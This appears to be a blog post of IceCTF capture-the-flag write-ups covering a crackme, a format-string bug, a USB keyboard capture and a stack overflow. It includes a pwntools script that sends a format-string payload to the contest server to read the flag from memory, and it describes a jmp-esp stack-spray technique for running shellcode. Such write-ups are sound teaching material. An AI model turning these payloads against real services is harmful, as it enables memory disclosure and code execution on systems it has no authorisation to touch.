Over the past two weeks, I participated in the IceCTF competition. This competition was broken down into four sections of increasing difficulty, the first three of which were made available early in the competition, and the fourth, towards the end. These challenges covered a healthy variety of fields, including binary exploitation, reverse engineering, stego and web.
This CTF also helpfully provided a Linux shell for participants. I think this is an excellent touch – well done to the organisers for using this creative solution to giving people access to tools.
Team farmingsimulator2015 was able to solve the majority of challenges in the first three sections, but did not progress significantly in the last section.
Without further ado, you can find some writeups below:
A Strong Feeling
Download here: a_strong_feeling
“A strong feeling” was presented as a password crackme. Initial inspection reveals a Linux binary, and a quick glance in IDA shows a somewhat annoying call graph:
My first reaction at this point was that all the little “decision boxes” up the tree were simple character comparisons: select the right character and proceed, otherwise, get a “nope” message. Further inspection of the bottom row of blocks quickly revealed I was incorrect:
Reviewing the disassembly a bit further, we quickly realize that rbp-98h stores a “switch”, which determines which path along the tree you take, and that the actual key check occurs in the basic blocks along the bottom row.
From here, the solution is simple – some of the basic blocks contain instructions such as:
cmp edx, 'n'
Which, after inspecting a few of them for the “tell” characters (“IceCTF{“), is clearly a character-by-character check for the actual key.
From here, we simply breakpoint each of these instructions (easy to identify via visual inspection, there’s like 20 of them) and use gdb to step through the program and record the order in which they’re triggered:
(Note that after each break, we reset edx to the “correct” value, to avoid having to run the application again and supply the correct value manually).
Half an hour of this, and we quickly reveal the key:
IceCTF{pip_install_angr}
(I’m pretty sure this method was faster than angr. Hell it’s faster than installing angr).
Dear Diary
Download here: dear_diary
“Dear Diary” is presented as a Linux executable, implementing a simple “diary” system, first reading a flag into memory, and then allowing a user to write notes and print them:
There’s a super straightforward format string vulnerability, where any entry can be printed directly via printf – however, there’s a restriction that you can’t use “%n” to write back into the process memory space:
Fortunately, we can still read from arbitrary memory via %s and %x. From here. it’s a simple matter to load the correct offset into memory, and then read it out with %s:
#!/usr/bin/python import pwn # target is 0x8040A0A0 p = pwn.remote("diary.vuln.icec.tf",6501) p.recvuntil(">") p.sendline("1") p.recvuntil("Tell me all your secrets: ") p.sendline("\xA0\xA0\x04\x08%p.%p.%p.%p.%p.%p.%p.%p!%p.%p.%p.%p.%p.%p.%p.%p %p[%s]%p.%p.%p.%p.%p.%p!%p.%p.%p%p") p.recvuntil(">") p.sendline("2") while True: print p.recv() p.close()
For reference, the characters in red represent the offset we want to read from, and the
Here’s the exploit in action:
Intercepted Conversations pt1
Download here: intercepted
Intercepted Conversations was presented as a USB pcap. The first step of attacking this problem is to identify the device in question. We can do this by inspecting descriptor strings which get passed to the system in response to GET_DESCRIPTOR requests:
We then extract the data messages being sent by the keyboard using the tshark utility:
tshark -r "capture.pcapng" -T fields -e usb.capdata -Y "usb.data_len == 8" >> usbdata.txt
The extract looks like this:
00:00:00:00:00:00:00:00 00:00:00:00:00:00:00:00 20:00:00:00:00:00:00:00 20:00:0a:00:00:00:00:00 20:00:00:00:00:00:00:00 00:00:00:00:00:00:00:00 00:00:0c:00:00:00:00:00 00:00:00:00:00:00:00:00 00:00:07:00:00:00:00:00
Noting that only the first and third bytes are used in each data packet, I made an assumption that each data packet held a keyboard scan code, and a status indicator for the shift key.
From here, we need to convert the keyboard “scan codes” (i.e. hardware inputs) into actual letters pressed. Oddly enough, the first few characters came out as follows:
GidIKY{
This was clearly the start of a flag. After going through a few possible simple cryptography schemes, a happy accident of fate led me to consider that the keyboard was being used as if it were a DVORAK keyboard.
Converting the output through a QWERTY<->DVORAK converter was enough to reveal the flag:
So Close!
Download here: so_close
The so_close challenge was presented as a Linux binary. Further inspection in IDA revealed the presence of a simple stack overflow in the completely_secure function.
Simple exploitation is hampered by a few unfortunate facts:
- The “return” instruction is preceded by a “leave” instruction. Overwrite EBP, and you risk a segmentation fault.
- You can control the application into returning into a part of your overflow space: but (thanks to the magic of ASLR) you can’t predict where. You need a way to reliably pivot execution back to your shellcode, which isn’t always at a fixed address.
In diagram form:
The way I dealt with this is to perform a limited stack spray, using a “jmp esp” gadget and a “jmp here-8” shellcode (EB F6 CC CC): that way, as long as we returned to the stack at *any* of the “jmp esp” instructions, the gadget would trigger, returning to “jmp $-8”. This would lead to the next “jmp $-8” instruction, and so on, until it hit a final jump to the shellcode.
For clarity:
A simple python script later,and we’re almost in business: the application simply crashes silently. It turned out to be an issue with our shellcode / Linux – to actually get shellcode to work, we need to keep stdin open, as follows:
Thanks to the IceCTF organisers for putting together a fantastic event. See you all in the Tokyo Westerns CTF and ASIS finals next week =]